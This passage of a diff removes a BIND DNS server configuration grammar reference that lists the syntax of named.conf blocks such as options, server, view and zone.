-                severity <log_severity>;
-                stderr;
-                syslog [ <syslog_facility> ];
-        }; // may occur multiple times
-};
-
-managed-keys { <string> ( static-key
-    | initial-key | static-ds |
-    initial-ds ) <integer> <integer>
-    <integer> <quoted_string>; ... }; // may occur multiple times, deprecated
-
-masters <string> [ port <integer> ] [ dscp
-    <integer> ] { ( <primaries> | <ipv4_address>
-    [ port <integer> ] | <ipv6_address> [ port
-    <integer> ] ) [ key <string> ] [ tls
-    <string> ]; ... }; // may occur multiple times
-
-options {
-        allow-new-zones <boolean>;
-        allow-notify { <address_match_element>; ... };
-        allow-query { <address_match_element>; ... };
-        allow-query-cache { <address_match_element>; ... };
-        allow-query-cache-on { <address_match_element>; ... };
-        allow-query-on { <address_match_element>; ... };
-        allow-recursion { <address_match_element>; ... };
-        allow-recursion-on { <address_match_element>; ... };
-        allow-transfer { <address_match_element>; ... };
-        allow-update { <address_match_element>; ... };
-        allow-update-forwarding { <address_match_element>; ... };
-        also-notify [ port <integer> ] [ dscp <integer> ] { ( <primaries> |
-            <ipv4_address> [ port <integer> ] | <ipv6_address> [ port
-            <integer> ] ) [ key <string> ] [ tls <string> ]; ... };
-        alt-transfer-source ( <ipv4_address> | * ) [ port ( <integer> | * )
-            ] [ dscp <integer> ];
-        alt-transfer-source-v6 ( <ipv6_address> | * ) [ port ( <integer> |
-            * ) ] [ dscp <integer> ];
-        answer-cookie <boolean>;
-        attach-cache <string>;
-        auth-nxdomain <boolean>;
-        auto-dnssec ( allow | maintain | off );
-        automatic-interface-scan <boolean>;
-        avoid-v4-udp-ports { <portrange>; ... };
-        avoid-v6-udp-ports { <portrange>; ... };
-        bindkeys-file <quoted_string>;
-        blackhole { <address_match_element>; ... };
-        cache-file <quoted_string>;
-        catalog-zones { zone <string> [ default-masters [ port <integer> ]
-            [ dscp <integer> ] { ( <primaries> | <ipv4_address> [ port
-            <integer> ] | <ipv6_address> [ port <integer> ] ) [ key
-            <string> ] [ tls <string> ]; ... } ] [ zone-directory
-            <quoted_string> ] [ in-memory <boolean> ] [ min-update-interval
-            <duration> ]; ... };
-        check-dup-records ( fail | warn | ignore );
-        check-integrity <boolean>;
-        check-mx ( fail | warn | ignore );
-        check-mx-cname ( fail | warn | ignore );
-        check-names ( primary | master |
-            secondary | slave | response ) (
-            fail | warn | ignore ); // may occur multiple times
-        check-sibling <boolean>;
-        check-spf ( warn | ignore );
-        check-srv-cname ( fail | warn | ignore );
-        check-wildcard <boolean>;
-        clients-per-query <integer>;
-        cookie-algorithm ( aes | siphash24 );
-        cookie-secret <string>; // may occur multiple times
-        coresize ( default | unlimited | <sizeval> );
-        datasize ( default | unlimited | <sizeval> );
-        deny-answer-addresses { <address_match_element>; ... } [
-            except-from { <string>; ... } ];
-        deny-answer-aliases { <string>; ... } [ except-from { <string>; ...
-            } ];
-        dialup ( notify | notify-passive | passive | refresh | <boolean> );
-        directory <quoted_string>;
-        disable-algorithms <string> { <string>;
-            ... }; // may occur multiple times
-        disable-ds-digests <string> { <string>;
-            ... }; // may occur multiple times
-        disable-empty-zone <string>; // may occur multiple times
-        dns64 <netprefix> {
-                break-dnssec <boolean>;
-                clients { <address_match_element>; ... };
-                exclude { <address_match_element>; ... };
-                mapped { <address_match_element>; ... };
-                recursive-only <boolean>;
-                suffix <ipv6_address>;
-        }; // may occur multiple times
-        dns64-contact <string>;
-        dns64-server <string>;
-        dnskey-sig-validity <integer>;
-        dnsrps-enable <boolean>;
-        dnsrps-options { <unspecified-text> };
-        dnssec-accept-expired <boolean>;
-        dnssec-dnskey-kskonly <boolean>;
-        dnssec-loadkeys-interval <integer>;
-        dnssec-must-be-secure <string> <boolean>; // may occur multiple times
-        dnssec-policy <string>;
-        dnssec-secure-to-insecure <boolean>;
-        dnssec-update-mode ( maintain | no-resign );
-        dnssec-validation ( yes | no | auto );
-        dnstap { ( all | auth | client | forwarder | resolver | update ) [
-            ( query | response ) ]; ... };
-        dnstap-identity ( <quoted_string> | none | hostname );
-        dnstap-output ( file | unix ) <quoted_string> [ size ( unlimited |
-            <size> ) ] [ versions ( unlimited | <integer> ) ] [ suffix (
-            increment | timestamp ) ];
-        dnstap-version ( <quoted_string> | none );
-        dscp <integer>;
-        dual-stack-servers [ port <integer> ] { ( <quoted_string> [ port
-            <integer> ] [ dscp <integer> ] | <ipv4_address> [ port
-            <integer> ] [ dscp <integer> ] | <ipv6_address> [ port
-            <integer> ] [ dscp <integer> ] ); ... };
-        dump-file <quoted_string>;
-        edns-udp-size <integer>;
-        empty-contact <string>;
-        empty-server <string>;
-        empty-zones-enable <boolean>;
-        fetch-quota-params <integer> <fixedpoint> <fixedpoint> <fixedpoint>;
-        fetches-per-server <integer> [ ( drop | fail ) ];
-        fetches-per-zone <integer> [ ( drop | fail ) ];
-        files ( default | unlimited | <sizeval> );
-        flush-zones-on-shutdown <boolean>;
-        forward ( first | only );
-        forwarders [ port <integer> ] [ dscp <integer> ] { ( <ipv4_address>
-            | <ipv6_address> ) [ port <integer> ] [ dscp <integer> ]; ... };
-        fstrm-set-buffer-hint <integer>;
-        fstrm-set-flush-timeout <integer>;
-        fstrm-set-input-queue-size <integer>;
-        fstrm-set-output-notify-threshold <integer>;
-        fstrm-set-output-queue-model ( mpsc | spsc );
-        fstrm-set-output-queue-size <integer>;
-        fstrm-set-reopen-interval <duration>;
-        geoip-directory ( <quoted_string> | none );
-        glue-cache <boolean>; // deprecated
-        heartbeat-interval <integer>;
-        hostname ( <quoted_string> | none );
-        http-port <integer>;
-        https-port <integer>;
-        interface-interval <duration>;
-        ipv4only-contact <string>;
-        ipv4only-enable <boolean>;
-        ipv4only-server <string>;
-        ixfr-from-differences ( primary | master | secondary | slave |
-            <boolean> );
-        keep-response-order { <address_match_element>; ... };
-        key-directory <quoted_string>;
-        lame-ttl <duration>;
-        listen-on [ port <integer> ] [ dscp
-            <integer> ] [ tls <string> ] [ http
-            <string> ] {
-            <address_match_element>; ... }; // may occur multiple times
-        listen-on-v6 [ port <integer> ] [ dscp
-            <integer> ] [ tls <string> ] [ http
-            <string> ] {
-            <address_match_element>; ... }; // may occur multiple times
-        lmdb-mapsize <sizeval>;
-        lock-file ( <quoted_string> | none );
-        managed-keys-directory <quoted_string>;
-        masterfile-format ( map | raw | text );
-        masterfile-style ( full | relative );
-        match-mapped-addresses <boolean>;
-        max-cache-size ( default | unlimited | <sizeval> | <percentage> );
-        max-cache-ttl <duration>;
-        max-clients-per-query <integer>;
-        max-ixfr-ratio ( unlimited | <percentage> );
-        max-journal-size ( default | unlimited | <sizeval> );
-        max-ncache-ttl <duration>;
-        max-records <integer>;
-        max-recursion-depth <integer>;
-        max-recursion-queries <integer>;
-        max-refresh-time <integer>;
-        max-retry-time <integer>;
-        max-rsa-exponent-size <integer>;
-        max-stale-ttl <duration>;
-        max-transfer-idle-in <integer>;
-        max-transfer-idle-out <integer>;
-        max-transfer-time-in <integer>;
-        max-transfer-time-out <integer>;
-        max-udp-size <integer>;
-        max-zone-ttl ( unlimited | <duration> );
-        memstatistics <boolean>;
-        memstatistics-file <quoted_string>;
-        message-compression <boolean>;
-        min-cache-ttl <duration>;
-        min-ncache-ttl <duration>;
-        min-refresh-time <integer>;
-        min-retry-time <integer>;
-        minimal-any <boolean>;
-        minimal-responses ( no-auth | no-auth-recursive | <boolean> );
-        multi-master <boolean>;
-        new-zones-directory <quoted_string>;
-        no-case-compress { <address_match_element>; ... };
-        nocookie-udp-size <integer>;
-        notify ( explicit | master-only | primary-only | <boolean> );
-        notify-delay <integer>;
-        notify-rate <integer>;
-        notify-source ( <ipv4_address> | * ) [ port ( <integer> | * ) ] [
-            dscp <integer> ];
-        notify-source-v6 ( <ipv6_address> | * ) [ port ( <integer> | * ) ]
-            [ dscp <integer> ];
-        notify-to-soa <boolean>;
-        nta-lifetime <duration>;
-        nta-recheck <duration>;
-        nxdomain-redirect <string>;
-        pid-file ( <quoted_string> | none );
-        port <integer>;
-        preferred-glue <string>;
-        prefetch <integer> [ <integer> ];
-        provide-ixfr <boolean>;
-        qname-minimization ( strict | relaxed | disabled | off );
-        query-source ( ( [ address ] ( <ipv4_address> | * ) [ port (
-            <integer> | * ) ] ) | ( [ [ address ] ( <ipv4_address> | * ) ]
-            port ( <integer> | * ) ) ) [ dscp <integer> ];
-        query-source-v6 ( ( [ address ] ( <ipv6_address> | * ) [ port (
-            <integer> | * ) ] ) | ( [ [ address ] ( <ipv6_address> | * ) ]
-            port ( <integer> | * ) ) ) [ dscp <integer> ];
-        querylog <boolean>;
-        random-device ( <quoted_string> | none );
-        rate-limit {
-                all-per-second <integer>;
-                errors-per-second <integer>;
-                exempt-clients { <address_match_element>; ... };
-                ipv4-prefix-length <integer>;
-                ipv6-prefix-length <integer>;
-                log-only <boolean>;
-                max-table-size <integer>;
-                min-table-size <integer>;
-                nodata-per-second <integer>;
-                nxdomains-per-second <integer>;
-                qps-scale <integer>;
-                referrals-per-second <integer>;
-                responses-per-second <integer>;
-                slip <integer>;
-                window <integer>;
-        };
-        recursing-file <quoted_string>;
-        recursion <boolean>;
-        recursive-clients <integer>;
-        request-expire <boolean>;
-        request-ixfr <boolean>;
-        request-nsid <boolean>;
-        require-server-cookie <boolean>;
-        reserved-sockets <integer>;
-        resolver-nonbackoff-tries <integer>;
-        resolver-query-timeout <integer>;
-        resolver-retry-interval <integer>;
-        response-padding { <address_match_element>; ... } block-size
-            <integer>;
-        response-policy { zone <string> [ add-soa <boolean> ] [ log
-            <boolean> ] [ max-policy-ttl <duration> ] [ min-update-interval
-            <duration> ] [ policy ( cname | disabled | drop | given | no-op
-            | nodata | nxdomain | passthru | tcp-only <quoted_string> ) ] [
-            recursive-only <boolean> ] [ nsip-enable <boolean> ] [
-            nsdname-enable <boolean> ]; ... } [ add-soa <boolean> ] [
-            break-dnssec <boolean> ] [ max-policy-ttl <duration> ] [
-            min-update-interval <duration> ] [ min-ns-dots <integer> ] [
-            nsip-wait-recurse <boolean> ] [ nsdname-wait-recurse <boolean>
-            ] [ qname-wait-recurse <boolean> ] [ recursive-only <boolean> ]
-            [ nsip-enable <boolean> ] [ nsdname-enable <boolean> ] [
-            dnsrps-enable <boolean> ] [ dnsrps-options { <unspecified-text>
-            } ];
-        root-delegation-only [ exclude { <string>; ... } ];
-        root-key-sentinel <boolean>;
-        rrset-order { [ class <string> ] [ type <string> ] [ name
-            <quoted_string> ] <string> <string>; ... };
-        secroots-file <quoted_string>;
-        send-cookie <boolean>;
-        serial-query-rate <integer>;
-        serial-update-method ( date | increment | unixtime );
-        server-id ( <quoted_string> | none | hostname );
-        servfail-ttl <duration>;
-        session-keyalg <string>;
-        session-keyfile ( <quoted_string> | none );
-        session-keyname <string>;
-        sig-signing-nodes <integer>;
-        sig-signing-signatures <integer>;
-        sig-signing-type <integer>;
-        sig-validity-interval <integer> [ <integer> ];
-        sortlist { <address_match_element>; ... };
-        stacksize ( default | unlimited | <sizeval> );
-        stale-answer-client-timeout ( disabled | off | <integer> );
-        stale-answer-enable <boolean>;
-        stale-answer-ttl <duration>;
-        stale-cache-enable <boolean>;
-        stale-refresh-time <duration>;
-        startup-notify-rate <integer>;
-        statistics-file <quoted_string>;
-        synth-from-dnssec <boolean>;
-        tcp-advertised-timeout <integer>;
-        tcp-clients <integer>;
-        tcp-idle-timeout <integer>;
-        tcp-initial-timeout <integer>;
-        tcp-keepalive-timeout <integer>;
-        tcp-listen-queue <integer>;
-        tcp-receive-buffer <integer>;
-        tcp-send-buffer <integer>;
-        tkey-dhkey <quoted_string> <integer>;
-        tkey-domain <quoted_string>;
-        tkey-gssapi-credential <quoted_string>;
-        tkey-gssapi-keytab <quoted_string>;
-        tls-port <integer>;
-        transfer-format ( many-answers | one-answer );
-        transfer-message-size <integer>;
-        transfer-source ( <ipv4_address> | * ) [ port ( <integer> | * ) ] [
-            dscp <integer> ];
-        transfer-source-v6 ( <ipv6_address> | * ) [ port ( <integer> | * )
-            ] [ dscp <integer> ];
-        transfers-in <integer>;
-        transfers-out <integer>;
-        transfers-per-ns <integer>;
-        trust-anchor-telemetry <boolean>; // experimental
-        try-tcp-refresh <boolean>;
-        udp-receive-buffer <integer>;
-        udp-send-buffer <integer>;
-        update-check-ksk <boolean>;
-        use-alt-transfer-source <boolean>;
-        use-v4-udp-ports { <portrange>; ... };
-        use-v6-udp-ports { <portrange>; ... };
-        v6-bias <integer>;
-        validate-except { <string>; ... };
-        version ( <quoted_string> | none );
-        zero-no-soa-ttl <boolean>;
-        zero-no-soa-ttl-cache <boolean>;
-        zone-statistics ( full | terse | none | <boolean> );
-};
-
-plugin ( query ) <string> [ { <unspecified-text>
-    } ]; // may occur multiple times
-
-primaries <string> [ port <integer> ] [ dscp
-    <integer> ] { ( <primaries> | <ipv4_address>
-    [ port <integer> ] | <ipv6_address> [ port
-    <integer> ] ) [ key <string> ] [ tls
-    <string> ]; ... }; // may occur multiple times
-
-server <netprefix> {
-        bogus <boolean>;
-        edns <boolean>;
-        edns-udp-size <integer>;
-        edns-version <integer>;
-        keys <server_key>;
-        max-udp-size <integer>;
-        notify-source ( <ipv4_address> | * ) [ port ( <integer> | * ) ] [
-            dscp <integer> ];
-        notify-source-v6 ( <ipv6_address> | * ) [ port ( <integer> | * ) ]
-            [ dscp <integer> ];
-        padding <integer>;
-        provide-ixfr <boolean>;
-        query-source ( ( [ address ] ( <ipv4_address> | * ) [ port (
-            <integer> | * ) ] ) | ( [ [ address ] ( <ipv4_address> | * ) ]
-            port ( <integer> | * ) ) ) [ dscp <integer> ];
-        query-source-v6 ( ( [ address ] ( <ipv6_address> | * ) [ port (
-            <integer> | * ) ] ) | ( [ [ address ] ( <ipv6_address> | * ) ]
-            port ( <integer> | * ) ) ) [ dscp <integer> ];
-        request-expire <boolean>;
-        request-ixfr <boolean>;
-        request-nsid <boolean>;
-        send-cookie <boolean>;
-        tcp-keepalive <boolean>;
-        tcp-only <boolean>;
-        transfer-format ( many-answers | one-answer );
-        transfer-source ( <ipv4_address> | * ) [ port ( <integer> | * ) ] [
-            dscp <integer> ];
-        transfer-source-v6 ( <ipv6_address> | * ) [ port ( <integer> | * )
-            ] [ dscp <integer> ];
-        transfers <integer>;
-}; // may occur multiple times
-
-statistics-channels {
-        inet ( <ipv4_address> | <ipv6_address> |
-            * ) [ port ( <integer> | * ) ] [
-            allow { <address_match_element>; ...
-            } ]; // may occur multiple times
-}; // may occur multiple times
-
-tls <string> {
-        ca-file <quoted_string>;
-        cert-file <quoted_string>;
-        ciphers <string>; // experimental
-        dh-param <quoted_string>; // experimental
-        hostname <quoted_string>;
-        key-file <quoted_string>;
-        protocols <sslprotos>; // experimental
-}; // may occur multiple times
-
-trust-anchors { <string> ( static-key |
-    initial-key | static-ds | initial-ds )
-    <integer> <integer> <integer>
-    <quoted_string>; ... }; // may occur multiple times
-
-trusted-keys { <string> <integer>
-    <integer> <integer>
-    <quoted_string>; ... }; // may occur multiple times, deprecated
-
-view <string> [ <class> ] {
-        allow-new-zones <boolean>;
-        allow-notify { <address_match_element>; ... };
-        allow-query { <address_match_element>; ... };
-        allow-query-cache { <address_match_element>; ... };
-        allow-query-cache-on { <address_match_element>; ... };
-        allow-query-on { <address_match_element>; ... };
-        allow-recursion { <address_match_element>; ... };
-        allow-recursion-on { <address_match_element>; ... };
-        allow-transfer { <address_match_element>; ... };
-        allow-update { <address_match_element>; ... };
-        allow-update-forwarding { <address_match_element>; ... };
-        also-notify [ port <integer> ] [ dscp <integer> ] { ( <primaries> |
-            <ipv4_address> [ port <integer> ] | <ipv6_address> [ port
-            <integer> ] ) [ key <string> ] [ tls <string> ]; ... };
-        alt-transfer-source ( <ipv4_address> | * ) [ port ( <integer> | * )
-            ] [ dscp <integer> ];
-        alt-transfer-source-v6 ( <ipv6_address> | * ) [ port ( <integer> |
-            * ) ] [ dscp <integer> ];
-        attach-cache <string>;
-        auth-nxdomain <boolean>;
-        auto-dnssec ( allow | maintain | off );
-        cache-file <quoted_string>;
-        catalog-zones { zone <string> [ default-masters [ port <integer> ]
-            [ dscp <integer> ] { ( <primaries> | <ipv4_address> [ port
-            <integer> ] | <ipv6_address> [ port <integer> ] ) [ key
-            <string> ] [ tls <string> ]; ... } ] [ zone-directory
-            <quoted_string> ] [ in-memory <boolean> ] [ min-update-interval
-            <duration> ]; ... };
-        check-dup-records ( fail | warn | ignore );
-        check-integrity <boolean>;
-        check-mx ( fail | warn | ignore );
-        check-mx-cname ( fail | warn | ignore );
-        check-names ( primary | master |
-            secondary | slave | response ) (
-            fail | warn | ignore ); // may occur multiple times
-        check-sibling <boolean>;
-        check-spf ( warn | ignore );
-        check-srv-cname ( fail | warn | ignore );
-        check-wildcard <boolean>;
-        clients-per-query <integer>;
-        deny-answer-addresses { <address_match_element>; ... } [
-            except-from { <string>; ... } ];
-        deny-answer-aliases { <string>; ... } [ except-from { <string>; ...
-            } ];
-        dialup ( notify | notify-passive | passive | refresh | <boolean> );
-        disable-algorithms <string> { <string>;
-            ... }; // may occur multiple times
-        disable-ds-digests <string> { <string>;
-            ... }; // may occur multiple times
-        disable-empty-zone <string>; // may occur multiple times
-        dlz <string> {
-                database <string>;
-                search <boolean>;
-        }; // may occur multiple times
-        dns64 <netprefix> {
-                break-dnssec <boolean>;
-                clients { <address_match_element>; ... };
-                exclude { <address_match_element>; ... };
-                mapped { <address_match_element>; ... };
-                recursive-only <boolean>;
-                suffix <ipv6_address>;
-        }; // may occur multiple times
-        dns64-contact <string>;
-        dns64-server <string>;
-        dnskey-sig-validity <integer>;
-        dnsrps-enable <boolean>;
-        dnsrps-options { <unspecified-text> };
-        dnssec-accept-expired <boolean>;
-        dnssec-dnskey-kskonly <boolean>;
-        dnssec-loadkeys-interval <integer>;
-        dnssec-must-be-secure <string> <boolean>; // may occur multiple times
-        dnssec-policy <string>;
-        dnssec-secure-to-insecure <boolean>;
-        dnssec-update-mode ( maintain | no-resign );
-        dnssec-validation ( yes | no | auto );
-        dnstap { ( all | auth | client | forwarder | resolver | update ) [
-            ( query | response ) ]; ... };
-        dual-stack-servers [ port <integer> ] { ( <quoted_string> [ port
-            <integer> ] [ dscp <integer> ] | <ipv4_address> [ port
-            <integer> ] [ dscp <integer> ] | <ipv6_address> [ port
-            <integer> ] [ dscp <integer> ] ); ... };
-        dyndb <string> <quoted_string> {
-            <unspecified-text> }; // may occur multiple times
-        edns-udp-size <integer>;
-        empty-contact <string>;
-        empty-server <string>;
-        empty-zones-enable <boolean>;
-        fetch-quota-params <integer> <fixedpoint> <fixedpoint> <fixedpoint>;
-        fetches-per-server <integer> [ ( drop | fail ) ];
-        fetches-per-zone <integer> [ ( drop | fail ) ];
-        forward ( first | only );
-        forwarders [ port <integer> ] [ dscp <integer> ] { ( <ipv4_address>
-            | <ipv6_address> ) [ port <integer> ] [ dscp <integer> ]; ... };
-        glue-cache <boolean>; // deprecated
-        ipv4only-contact <string>;
-        ipv4only-enable <boolean>;
-        ipv4only-server <string>;
-        ixfr-from-differences ( primary | master | secondary | slave |
-            <boolean> );
-        key <string> {
-                algorithm <string>;
-                secret <string>;
-        }; // may occur multiple times
-        key-directory <quoted_string>;
-        lame-ttl <duration>;
-        lmdb-mapsize <sizeval>;
-        managed-keys { <string> (
-            static-key | initial-key
-            | static-ds | initial-ds
-            ) <integer> <integer>
-            <integer>
-            <quoted_string>; ... }; // may occur multiple times, deprecated
-        masterfile-format ( map | raw | text );
-        masterfile-style ( full | relative );
-        match-clients { <address_match_element>; ... };
-        match-destinations { <address_match_element>; ... };
-        match-recursive-only <boolean>;
-        max-cache-size ( default | unlimited | <sizeval> | <percentage> );
-        max-cache-ttl <duration>;
-        max-clients-per-query <integer>;
-        max-ixfr-ratio ( unlimited | <percentage> );
-        max-journal-size ( default | unlimited | <sizeval> );
-        max-ncache-ttl <duration>;
-        max-records <integer>;
-        max-recursion-depth <integer>;
-        max-recursion-queries <integer>;
-        max-refresh-time <integer>;
-        max-retry-time <integer>;
-        max-stale-ttl <duration>;
-        max-transfer-idle-in <integer>;
-        max-transfer-idle-out <integer>;
-        max-transfer-time-in <integer>;
-        max-transfer-time-out <integer>;
-        max-udp-size <integer>;
-        max-zone-ttl ( unlimited | <duration> );
-        message-compression <boolean>;
-        min-cache-ttl <duration>;
-        min-ncache-ttl <duration>;
-        min-refresh-time <integer>;
-        min-retry-time <integer>;
-        minimal-any <boolean>;
-        minimal-responses ( no-auth | no-auth-recursive | <boolean> );
-        multi-master <boolean>;
-        new-zones-directory <quoted_string>;
-        no-case-compress { <address_match_element>; ... };
-        nocookie-udp-size <integer>;
-        notify ( explicit | master-only | primary-only | <boolean> );
-        notify-delay <integer>;
-        notify-source ( <ipv4_address> | * ) [ port ( <integer> | * ) ] [
-            dscp <integer> ];
-        notify-source-v6 ( <ipv6_address> | * ) [ port ( <integer> | * ) ]
-            [ dscp <integer> ];
-        notify-to-soa <boolean>;
-        nta-lifetime <duration>;
-        nta-recheck <duration>;
-        nxdomain-redirect <string>;
-        plugin ( query ) <string> [ {
-            <unspecified-text> } ]; // may occur multiple times
-        preferred-glue <string>;
-        prefetch <integer> [ <integer> ];
-        provide-ixfr <boolean>;
-        qname-minimization ( strict | relaxed | disabled | off );
-        query-source ( ( [ address ] ( <ipv4_address> | * ) [ port (
-            <integer> | * ) ] ) | ( [ [ address ] ( <ipv4_address> | * ) ]
-            port ( <integer> | * ) ) ) [ dscp <integer> ];
-        query-source-v6 ( ( [ address ] ( <ipv6_address> | * ) [ port (
-            <integer> | * ) ] ) | ( [ [ address ] ( <ipv6_address> | * ) ]
-            port ( <integer> | * ) ) ) [ dscp <integer> ];
-        rate-limit {
-                all-per-second <integer>;
-                errors-per-second <integer>;
-                exempt-clients { <address_match_element>; ... };
-                ipv4-prefix-length <integer>;
-                ipv6-prefix-length <integer>;
-                log-only <boolean>;
-                max-table-size <integer>;
-                min-table-size <integer>;
-                nodata-per-second <integer>;
-                nxdomains-per-second <integer>;
-                qps-scale <integer>;
-                referrals-per-second <integer>;
-                responses-per-second <integer>;
-                slip <integer>;
-                window <integer>;
-        };
-        recursion <boolean>;
-        request-expire <boolean>;
-        request-ixfr <boolean>;
-        request-nsid <boolean>;
-        require-server-cookie <boolean>;
-        resolver-nonbackoff-tries <integer>;
-        resolver-query-timeout <integer>;
-        resolver-retry-interval <integer>;
-        response-padding { <address_match_element>; ... } block-size
-            <integer>;
-        response-policy { zone <string> [ add-soa <boolean> ] [ log
-            <boolean> ] [ max-policy-ttl <duration> ] [ min-update-interval
-            <duration> ] [ policy ( cname | disabled | drop | given | no-op
-            | nodata | nxdomain | passthru | tcp-only <quoted_string> ) ] [
-            recursive-only <boolean> ] [ nsip-enable <boolean> ] [
-            nsdname-enable <boolean> ]; ... } [ add-soa <boolean> ] [
-            break-dnssec <boolean> ] [ max-policy-ttl <duration> ] [
-            min-update-interval <duration> ] [ min-ns-dots <integer> ] [
-            nsip-wait-recurse <boolean> ] [ nsdname-wait-recurse <boolean>
-            ] [ qname-wait-recurse <boolean> ] [ recursive-only <boolean> ]
-            [ nsip-enable <boolean> ] [ nsdname-enable <boolean> ] [
-            dnsrps-enable <boolean> ] [ dnsrps-options { <unspecified-text>
-            } ];
-        root-delegation-only [ exclude { <string>; ... } ];
-        root-key-sentinel <boolean>;
-        rrset-order { [ class <string> ] [ type <string> ] [ name
-            <quoted_string> ] <string> <string>; ... };
-        send-cookie <boolean>;
-        serial-update-method ( date | increment | unixtime );
-        server <netprefix> {
-                bogus <boolean>;
-                edns <boolean>;
-                edns-udp-size <integer>;
-                edns-version <integer>;
-                keys <server_key>;
-                max-udp-size <integer>;
-                notify-source ( <ipv4_address> | * ) [ port ( <integer> | *
-                    ) ] [ dscp <integer> ];
-                notify-source-v6 ( <ipv6_address> | * ) [ port ( <integer>
-                    | * ) ] [ dscp <integer> ];
-                padding <integer>;
-                provide-ixfr <boolean>;
-                query-source ( ( [ address ] ( <ipv4_address> | * ) [ port
-                    ( <integer> | * ) ] ) | ( [ [ address ] (
-                    <ipv4_address> | * ) ] port ( <integer> | * ) ) ) [
-                    dscp <integer> ];
-                query-source-v6 ( ( [ address ] ( <ipv6_address> | * ) [
-                    port ( <integer> | * ) ] ) | ( [ [ address ] (
-                    <ipv6_address> | * ) ] port ( <integer> | * ) ) ) [
-                    dscp <integer> ];
-                request-expire <boolean>;
-                request-ixfr <boolean>;
-                request-nsid <boolean>;
-                send-cookie <boolean>;
-                tcp-keepalive <boolean>;
-                tcp-only <boolean>;
-                transfer-format ( many-answers | one-answer );
-                transfer-source ( <ipv4_address> | * ) [ port ( <integer> |
-                    * ) ] [ dscp <integer> ];
-                transfer-source-v6 ( <ipv6_address> | * ) [ port (
-                    <integer> | * ) ] [ dscp <integer> ];
-                transfers <integer>;
-        }; // may occur multiple times
-        servfail-ttl <duration>;
-        sig-signing-nodes <integer>;
-        sig-signing-signatures <integer>;
-        sig-signing-type <integer>;
-        sig-validity-interval <integer> [ <integer> ];
-        sortlist { <address_match_element>; ... };
-        stale-answer-client-timeout ( disabled | off | <integer> );
-        stale-answer-enable <boolean>;
-        stale-answer-ttl <duration>;
-        stale-cache-enable <boolean>;
-        stale-refresh-time <duration>;
-        synth-from-dnssec <boolean>;
-        transfer-format ( many-answers | one-answer );
-        transfer-source ( <ipv4_address> | * ) [ port ( <integer> | * ) ] [
-            dscp <integer> ];
-        transfer-source-v6 ( <ipv6_address> | * ) [ port ( <integer> | * )
-            ] [ dscp <integer> ];
-        trust-anchor-telemetry <boolean>; // experimental
-        trust-anchors { <string> ( static-key |
-            initial-key | static-ds | initial-ds
-            ) <integer> <integer> <integer>
-            <quoted_string>; ... }; // may occur multiple times
-        trusted-keys { <string>
-            <integer> <integer>
-            <integer>
-            <quoted_string>; ... }; // may occur multiple times, deprecated
-        try-tcp-refresh <boolean>;
-        update-check-ksk <boolean>;
-        use-alt-transfer-source <boolean>;
-        v6-bias <integer>;
-        validate-except { <string>; ... };
-        zero-no-soa-ttl <boolean>;
-        zero-no-soa-ttl-cache <boolean>;
-        zone <string> [ <class> ] {
-                allow-notify { <address_match_element>; ... };
-                allow-query { <address_match_element>; ... };
-                allow-query-on { <address_match_element>; ... };
-                allow-transfer { <address_match_element>; ... };
-                allow-update { <address_match_element>; ... };
-                allow-update-forwarding { <address_match_element>; ... };
-                also-notify [ port <integer> ] [ dscp <integer> ] { (
-                    <primaries> | <ipv4_address> [ port <integer> ] |
-                    <ipv6_address> [ port <integer> ] ) [ key <string> ] [
-                    tls <string> ]; ... };
-                alt-transfer-source ( <ipv4_address> | * ) [ port (
-                    <integer> | * ) ] [ dscp <integer> ];
-                alt-transfer-source-v6 ( <ipv6_address> | * ) [ port (
-                    <integer> | * ) ] [ dscp <integer> ];
-                auto-dnssec ( allow | maintain | off );
-                check-dup-records ( fail | warn | ignore );
-                check-integrity <boolean>;
-                check-mx ( fail | warn | ignore );
-                check-mx-cname ( fail | warn | ignore );
-                check-names ( fail | warn | ignore );
-                check-sibling <boolean>;
-                check-spf ( warn | ignore );
-                check-srv-cname ( fail | warn | ignore );
-                check-wildcard <boolean>;
-                database <string>;
-                delegation-only <boolean>;
-                dialup ( notify | notify-passive | passive | refresh |
-                    <boolean> );
-                dlz <string>;
-                dnskey-sig-validity <integer>;
-                dnssec-dnskey-kskonly <boolean>;
-                dnssec-loadkeys-interval <integer>;
-                dnssec-policy <string>;
-                dnssec-secure-to-insecure <boolean>;
-                dnssec-update-mode ( maintain | no-resign );
-                file <quoted_string>;
-                forward ( first | only );
-                forwarders [ port <integer> ] [ dscp <integer> ] { (
-                    <ipv4_address> | <ipv6_address> ) [ port <integer> ] [
-                    dscp <integer> ]; ... };
-                in-view <string>;
-                inline-signing <boolean>;
-                ixfr-from-differences <boolean>;
-                journal <quoted_string>;
-                key-directory <quoted_string>;
-                masterfile-format ( map | raw | text );
-                masterfile-style ( full | relative );
-                masters [ port <integer> ] [ dscp <integer> ] { (
-                    <primaries> | <ipv4_address> [ port <integer> ] |
-                    <ipv6_address> [ port <integer> ] ) [ key <string> ] [
-                    tls <string> ]; ... };
-                max-ixfr-ratio ( unlimited | <percentage> );
-                max-journal-size ( default | unlimited | <sizeval> );
-                max-records <integer>;
-                max-refresh-time <integer>;
-                max-retry-time <integer>;
-                max-transfer-idle-in <integer>;
-                max-transfer-idle-out <integer>;
-                max-transfer-time-in <integer>;
-                max-transfer-time-out <integer>;
-                max-zone-ttl ( unlimited | <duration> );
-                min-refresh-time <integer>;
-                min-retry-time <integer>;
-                multi-master <boolean>;
-                notify ( explicit | master-only | primary-only | <boolean> );
-                notify-delay <integer>;
-                notify-source ( <ipv4_address> | * ) [ port ( <integer> | *
-                    ) ] [ dscp <integer> ];
-                notify-source-v6 ( <ipv6_address> | * ) [ port ( <integer>
-                    | * ) ] [ dscp <integer> ];
-                notify-to-soa <boolean>;
-                primaries [ port <integer> ] [ dscp <integer> ] { (
-                    <primaries> | <ipv4_address> [ port <integer> ] |
-                    <ipv6_address> [ port <integer> ] ) [ key <string> ] [
-                    tls <string> ]; ... };
-                request-expire <boolean>;
-                request-ixfr <boolean>;
-                serial-update-method ( date | increment | unixtime );
-                server-addresses { ( <ipv4_address> | <ipv6_address> ); ... };
-                server-names { <string>; ... };
-                sig-signing-nodes <integer>;
-                sig-signing-signatures <integer>;
-                sig-signing-type <integer>;
-                sig-validity-interval <integer> [ <integer> ];
-                transfer-source ( <ipv4_address> | * ) [ port ( <integer> |
-                    * ) ] [ dscp <integer> ];
-                transfer-source-v6 ( <ipv6_address> | * ) [ port (
-                    <integer> | * ) ] [ dscp <integer> ];
-                try-tcp-refresh <boolean>;
-                type ( primary | master | secondary | slave | mirror |
-                    delegation-only | forward | hint | redirect |
-                    static-stub | stub );
